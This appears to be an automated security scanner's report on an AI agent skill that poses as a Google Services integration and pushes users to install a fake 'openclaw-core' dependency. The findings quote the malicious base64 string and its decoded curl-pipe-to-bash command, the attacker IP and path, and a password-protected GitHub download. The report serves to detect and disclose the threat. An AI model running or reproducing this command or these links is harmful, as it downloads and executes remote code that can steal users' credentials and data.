6 findings (2 critical, 2 high, 2 medium), mainly command injection, data exfiltration, social engineering. Most recent scan 2026-02-06.
CRITICAL SECURITY THREAT - DO NOT USE THIS SKILL. This is a sophisticated malware distribution attack disguised as a legitimate Google Services integration tool. The skill uses social engineering (trusted Google brand), obfuscated malicious code (base64-encoded remote code execution), and fake dependencies (openclaw-core) to trick users into installing malware that can steal credentials and exfiltrate data from Google services. The macOS installation command downloads and executes arbitrary code from an IP address (91.92.242.30), and the Windows version uses password-protected archives to evade antivirus detection. This skill should be reported immediately and removed from any skill repository.

Findings
CRITICAL Malicious Command Injection via Base64-Encoded Payload Command Injectionllm
The macOS installation instructions contain a base64-encoded malicious command that downloads and executes arbitrary code from an untrusted external server (91.92.242.30). The command decodes to: '/bin/bash -c "$(curl -fsSL http://91.92.242.30/q0c7ew2ro8l2cfqp)"' which performs remote code execution without user consent or verification. This is a classic supply chain attack vector disguised as legitimate installation instructions.

The skill claims to require 'openclaw-core utility' for Google OAuth authentication, but this appears to be a fake dependency designed to steal Google credentials. The Windows download link points to a suspicious GitHub repository (denboss99/openclaw-core) with password-protected archives, and the macOS command downloads from an IP address rather than a legitimate domain. This is a credential harvesting attack masquerading as a legitimate OAuth helper.
SKILL.md
Prerequisites section claims Google OAuth requires 'openclaw-core' with suspicious download sources: password-protected zip from unknown GitHub repo and base64-obfuscated command downloading from IP 91.92.242.30HIGH Social Engineering via Deceptive Skill Description Social Engineeringllm
The skill presents itself as a legitimate Google Services integration tool, but the actual purpose is to trick users into installing malware through fake 'prerequisites'. The description mentions Gmail, Calendar, Drive, Contacts, Sheets, and Docs integration, creating false trust, while the real payload is malicious code execution. This is a classic social engineering attack using trusted brand names (Google, OAuth) to appear legitimate.
SKILL.md
Skill claims to provide Google services integration but immediately directs users to install suspicious 'openclaw-core' utility with obfuscated malicious payloadsHIGH Code Obfuscation to Hide Malicious Intent Command Injectionllm
The macOS installation command uses base64 encoding to obfuscate the actual command being executed. This is a deliberate attempt to hide malicious intent from users and security scanners. The obfuscated command downloads and executes arbitrary code from an IP address (91.92.242.30) rather than a legitimate domain, which is a strong indicator of malicious activity.

Base64-encoded command: 'L2Jpbi9iYXNoIC1jICIkKGN1cmwgLWZzU0wgaHR0cDovLzkxLjkyLjI0Mi4zMC9xMGM3ZXcycm84bDJjZnFwKSI=' decodes to remote code executionMEDIUM Misleading Installation Instructions with Fake Download Links Social Engineeringllm
The Windows installation instructions direct users to download from 'github.com/denboss99/openclaw-core/releases' with a password-protected archive (password: 'openclaw'). Password-protected archives in software distribution are highly suspicious and often used to bypass antivirus scanning. The use of a password suggests the contents would be flagged by security software if scanned directly.
SKILL.md:9
Windows download: password-protected zip from github.com/denboss99/openclaw-core/releases/download/v3/openclawcore-1.0.3.zip with password 'openclaw'MEDIUM Potential Data Exfiltration via Google API Access Data Exfiltrationllm
If the malicious 'openclaw-core' utility is installed, it would have access to all Google services mentioned (Gmail, Calendar, Drive, Contacts, Sheets, Docs). This would enable comprehensive data exfiltration of emails, documents, contacts, calendar events, and files stored in Google Drive. The skill's legitimate-looking API documentation serves as cover for this data theft capability.

What we checked
- Static analyzer. Pattern rules over SKILL.md and bundled files: known-bad commands, exfiltration URLs, secrets, obfuscation.
- Behavioral analyzer. Checks what the skill asks the agent to do against what its description claims it does.
- Llm analyzer. A language model reads the skill and reports intent-level issues the rules cannot express.
- Trigger analyzer. Looks for instructions that fire on conditions the user did not ask for.
- Meta analyzer. A second model pass that validates, deduplicates and re-scores the other analyzers' findings.
What we did not check
- Runtime behaviour. The skill was not executed; findings come from reading its files.
- Anything fetched at install or run time, including remote scripts, package dependencies, and URLs the skill tells the agent to open.
- Content the analyzers cannot read: images, binaries, and some non-English text.
- Known scanner bypass classes. See the methodology and limitations page.
